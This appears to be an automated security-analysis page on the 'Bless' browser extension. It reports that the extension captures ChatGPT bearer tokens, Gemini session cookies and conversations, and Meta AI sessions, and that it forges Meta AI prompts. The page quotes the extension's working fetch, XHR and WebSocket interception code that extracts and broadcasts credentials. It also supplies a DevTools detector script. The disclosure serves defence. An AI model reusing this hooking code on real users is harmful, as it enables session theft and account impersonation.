Is Bless safe?
Bless is high risk. On chatgpt.com, Bless replaces native fetch before load, reading every ChatGPT request including the Bearer token. window.fetch returned the extension's function; __chatgptTokens__ held 13 keys with a device ID; two functions reuse it.…
Who publishes itBless - no other listings under this identity
Bless - no other listings under this identity
What this publisher told the store about itself, and the other listings that told it the same thing.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
ChatGPT Auth Token Captured by Fetch Interceptor
On chatgpt.com, Bless replaces native fetch before load, reading every ChatGPT request including the Bearer token. window.fetch returned the extension's function; __chatgptTokens__ held 13 keys with a device ID; two functions reuse it.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-200
- Source
- Dynamic sandbox
You navigate to chatgpt.com, any page, with Bless installed.
Bless replaces the browser's native fetch function before ChatGPT's own code runs, then reads the Authorization Bearer token from every request ChatGPT makes.
The captured token is stored in window.__chatgptTokens__ and broadcast via postMessage. Two injected functions, __sendConversation__ and __chatgptAPI__, can then use that token to make authenticated ChatGPT API calls on your behalf.
47 ChatGPT API requests intercepted by the extension's fetch hook during our test session. The interceptor read Authorization headers, OAI-Device-Id headers, and sentinel tokens from each.
- Your ChatGPT auth tokeneyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyLWFiY2QxMjM0NTY3OCIsImlzcyI6Imh0dHBzOi8vYXV0aDAub3BlbmFpLmNvbS8ifQ.signature
The Bearer token that authenticates all ChatGPT API requests as you. Anyone who has it can make requests on your account.
- Your device ID4abfe929-3be0-44e2-bf11-548d6c3b58e6
The OAI-Device-Id header value that ChatGPT uses to track your device across sessions.
- Chat requirements tokengAAAAAB...(base64, ~200 chars)
A short-lived session token required to start new conversations. Captured from /sentinel/finalize responses.
- Turnstile token0.hL7gX3PrQ...
A Cloudflare anti-bot challenge token required for ChatGPT API access.
- Proof-of-work tokengAAAAAB...pow...
A computed proof required by ChatGPT's sentinel system to authenticate API calls.
The fetch interceptor from the extension's shipping source (chatgpt-early-hook.js):
Fetch override
// Replace window.fetch with the interceptor before any page script runs.// 'writable: false' prevents ChatGPT's code from undoing the override.try { Object.defineProperty(window, 'fetch', { value: interceptedFetch, writable: false, configurable: true });} catch { window.fetch = interceptedFetch; // fallback if defineProperty fails}Token extraction from intercepted request headers
// Called inside the intercepted fetch for every /backend-api or /backend-anon request.// headers = merged request init headers + cloned Request headersif (headers.authorization) { tokens.authToken = headers.authorization.replace('Bearer ', '');}if (headers['oai-device-id']) { tokens.deviceId = headers['oai-device-id'];}// After /sentinel/finalize response: broadcast all tokensif (path.includes('/finalize') && responseBody.token) { tokens.chatRequirementsToken = responseBody.token; tokens.tokenExpireAt = responseBody.expire_at; tokens.lastUpdate = Date.now(); const event = { type: 'CHATGPT_TOKENS_READY', data: { chatRequirementsToken: tokens.chatRequirementsToken, turnstileToken: tokens.turnstileToken, proofToken: tokens.proofToken, tokenExpireAt: tokens.tokenExpireAt, authToken: tokens.authToken, deviceId: tokens.deviceId } }; // Broadcast to all frames — any frame or the extension popup can receive this window.postMessage(event, '*'); window.parent.postMessage(event, '*');}Run this in Chrome DevTools on chatgpt.com to check whether Bless's fetch interceptor is active and whether it has already captured your auth token.
- Chrome with the Bless extension installed
- DevTools access (F12)
// bless-hook-detector.js// Paste into Chrome DevTools console on chatgpt.com.// Checks for the Bless fetch interceptor and captured token state.(function() { const results = {}; // 1. Check whether window.fetch has been replaced const fetchSrc = window.fetch.toString(); results.fetchOverridden = !fetchSrc.includes('[native code]'); results.fetchSource = fetchSrc.slice(0, 120) + (fetchSrc.length > 120 ? '...' : ''); // 2. Check for the Bless early-hook marker results.blessHookPresent = window.__chatgptEarlyHook__ === true; // 3. Check token store const tokens = window.__chatgptTokens__; if (tokens) { results.tokenStorePresent = true; results.tokenKeys = Object.keys(tokens).filter(k => typeof tokens[k] !== 'function'); results.authTokenCaptured = typeof tokens.authToken === 'string' && tokens.authToken.length > 10; results.deviceIdCaptured = typeof tokens.deviceId === 'string' && tokens.deviceId.length > 10; results.tokensValid = typeof tokens.isValid === 'function' ? tokens.isValid() : 'unknown'; } else { results.tokenStorePresent = false; } // 4. Check for injected API functions results.sendConversationPresent = typeof window.__sendConversation__ === 'function'; results.chatgptAPIPresent = typeof window.__chatgptAPI__ === 'function'; // 5. Check sentinel capture buffer results.sentinelCaptureCount = Array.isArray(window.__sentinelCaptured__) ? window.__sentinelCaptured__.length : 0; console.table(results); if (results.blessHookPresent && results.fetchOverridden) { console.warn( '[BLESS DETECTOR] Bless fetch interceptor is ACTIVE.\n' + 'Auth token captured: ' + results.authTokenCaptured + '\n' + 'Sentinel requests captured: ' + results.sentinelCaptureCount ); } else { console.log('[BLESS DETECTOR] No Bless hook detected.'); } return results;})();- 1Install Bless from the Chrome Web Store.
- 2Go to https://chatgpt.com.
- 3Open DevTools (F12).
- 4Paste this script into Console, press Enter.
- 5Check the table: 'blessHookPresent: true' and 'fetchOverridden: true' confirm it's active.
Gemini Auth Token and Full Conversation History Read by Bless Extension
Bless reads your Gemini cookie (__Secure-1PSID), fetches your Google email, name, and user ID via the batchexecute API, and backfills up to 60 conversations.
An XHR interceptor captures live chats too; data goes to Bless telemetry.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-522
- Source
- Dynamic sandbox
You open Gemini (gemini.google.com) in any browser tab.
Bless reads your Google session cookie, retrieves your identity via an internal Google API, intercepts live Gemini chats, and backfills your conversation history.
No additional user action is required. The XHR interceptor and backfill run automatically on every Gemini tab load.
- Google account emailalice@gmail.com
The email address of your Google account linked to Gemini.
- Display nameAlice Smith
Your Google account display name.
- User ID101234567890123456789
Your internal Google account identifier, used to correlate conversation history.
Session cookie read and identity fetch, service worker (dist-BiwOfj7l.js ~line 22728)
async function readGeminiSessionCookie() { return (await chrome.cookies.get({ url: 'https://gemini.google.com', name: '__Secure-1PSID' }))?.value || null;}async function fetchGoogleIdentity() { // Calls the internal Bard o30O0e batchexecute RPC let results = await batchExecute('o30O0e', JSON.stringify([ ['me'], [[['person.photo', 'person.name', 'person.email']], null, [1, 7]] ])); for (let row of results) { let parsed = JSON.parse(row[2])?.[0]?.[0]?.[2]; let userId = parsed[0], name = parsed[2]?.[0]?.[1]; let email = parsed[9]?.[0]?.[1]; if (email || name || userId) return { email, name, userId }; } return null;}XHR interceptor in MAIN world, gemini-early-hook.js
// Patches XMLHttpRequest in the MAIN world to intercept Gemini StreamGenerate responsesconst originalOpen = XMLHttpRequest.prototype.open;const originalSend = XMLHttpRequest.prototype.send;XMLHttpRequest.prototype.open = function(method, url, ...rest) { this.__isGemini = /BardChatUi.*StreamGenerate/.test(url || ''); return originalOpen.call(this, method, url, ...rest);};XMLHttpRequest.prototype.send = function(body) { if (this.__isGemini) { this.addEventListener('loadend', () => { // Parses chunks after )]}'\n, extracts conversationId, user prompt, AI response window.postMessage({ type: 'GEMINI_CONVERSATION_UPDATE', data: parseGeminiResponse(this.responseText) }, '*'); }); } return originalSend.call(this, body);};- telemetry.mainnet.bls.dev
Bless telemetry pipeline, receives Google account identity and full Gemini conversation content.
- gemini.google.com
Source of __Secure-1PSID session cookie and conversation data. The o30O0e, MaZiqc, and hNvQHb batchexecute RPCs are called with the user's own credentials.
Meta AI Session Cookie Read; WebSocket Intercepted for Prompt Injection
Bless reads your Meta AI cookie (ecto_1_sess) and scrapes your username/viewer ID from the page.
A WebSocket interceptor captures chats live; on a server prompt it forges a protobuf message through it, so Meta AI answers as if typed.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-522
- Source
- Dynamic sandbox
You open Meta AI (www.meta.ai) in any browser tab while Bless receives a server-assigned campaign prompt.
Bless reads your session cookie and identity, intercepts your Meta AI WebSocket, and sends a forged protobuf message, so Meta AI submits a server-chosen prompt under your account.
The hook captures the live WebSocket connection to gateway.meta.ai/ws/clippy and uses your viewerId and device fingerprint to construct authentic-looking protobuf frames.
- ecto_1_sess cookieAQA...(base64 session blob)
Your Meta AI session token, used to authenticate the WebSocket connection to gateway.meta.ai.
- Meta usernamealice.smith.42
Your Meta platform username, parsed from the socialProfile object in the page HTML.
- Viewer ID100078234512367
Your internal Meta account numeric ID, embedded in the forged protobuf messages sent to Meta AI.
WebSocket replacement and protobuf prompt encoder, metaai-early-hook.js
const OriginalWebSocket = window.WebSocket;window.WebSocket = function(url, protocols) { let ws = new OriginalWebSocket(url, protocols); if (url.toString().includes('gateway.meta.ai/ws/clippy')) { capturedSocket = ws; ws.binaryType = 'arraybuffer'; // Parse binary frames for AI response text ws.addEventListener('message', (e) => { if (e.data instanceof ArrayBuffer) parseResponseFrame(e.data); }); // Signal parent iframe that the socket is ready ws.addEventListener('open', () => { if (isIframe) window.parent.postMessage({ type: 'METAAI_IFRAME_READY' }, '*'); if (pendingPrompt) { sendPromptOverWebSocket(pendingPrompt); pendingPrompt = null; } }); } return ws;};Protobuf message construction for forged prompt (metaai-early-hook.js lines 62-82)
// Builds a valid Meta AI protobuf message that impersonates a user promptfunction buildMetaAiMessage(viewerId, promptText, conversationId, deviceFingerprint) { let timestamp = Date.now(); let timezone = Intl.DateTimeFormat().resolvedOptions().timeZone; messageCounter++; // Encodes the prompt text in protobuf field 5 let promptField = encodeStringField(5, encodeStringField(1, promptText)); // Core message body with hardcoded Meta internal fields let messageBody = concat( encodeString(1, 'KADABRA__CHAT__UNIFIED_INPUT_BAR'), // Meta internal channel encodeString(2, '1522763855472543'), // Hardcoded app ID encodeBytes(4, sessionUUID), // Session UUID promptField, encodeVarint(6, messageCounter), encodeString(7, 'HUMAN_AGENT'), // Sender role encodeBytes(8, concat(encodeString(1, viewerId), encodeString(2, viewerId))), // User identity encodeString(10, 'ECTO1'), // Auth scheme encodeString(11, 'Abra Web Main Key') // Key label ); return buildFullProtoEnvelope(messageBody, viewerId, timestamp, conversationId);}- gateway.meta.ai
Meta AI WebSocket endpoint, intercepted to read conversations and inject server-assigned prompts using the user's session.
- telemetry.mainnet.bls.dev
Bless telemetry pipeline, receives Meta AI account identity and captured conversation content.
+2 more findings not shown
What it can do
Permissions this extension asks for, as declared in version 0.3.10. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
Read and change your data on chatgpt.com
https://chatgpt.com/*
Read and change your data on google.com
https://*.google.com/*
Read and change your data on www.perplexity.ai
https://www.perplexity.ai/*
Store data in your browser
storage
Keep running in the background while your browser is open
background
Read information about your CPU
system.cpu
Read how much memory your computer has
system.memory
Run hidden pages in the background
offscreen
Run its own code inside the pages you visit
scripting
See the address and title of every tab you have open
tabs
Block and redirect the requests your browser makes
declarativeNetRequest